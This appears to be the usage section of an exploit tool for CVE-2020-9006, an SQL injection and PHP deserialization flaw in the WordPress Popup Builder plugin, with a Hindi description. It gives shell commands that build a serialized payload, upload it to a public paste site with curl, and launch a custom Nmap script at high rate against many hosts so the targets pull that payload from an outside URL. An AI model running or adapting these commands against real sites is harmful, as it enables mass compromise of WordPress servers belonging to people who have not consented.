
CVE-2020-9006 का शोषण जो वर्डप्रेस पॉपअप-बिल्डर प्लगइन को SQL इंजेक्शन और PHP डिसीरियलाइज़ेशन के माध्यम से लक्षित करता है, जिसमें पेलोड जनरेशन और स्वचालित स्कैनिंग के लिए Nmap एकीकरण शामिल है।
उपयोग:
# Create and upload payload
# Also see: php create-serialized-payload.php -h
$ php create-serialized-payload.php | curl -F 'sprunge=<-' http://sprunge.us
http://sprunge.us/XXXXXX
# Run exploit
$ nmap --script ./cve-2020-9006 --script-args http.useragent='Mozilla/5.0',payload-url='http://sprunge.us/XXXXXX
' --min-parallelism 64 --min-rate 1000 --max-retries 1 -p 80,443 -oX report.xml -d ...hosts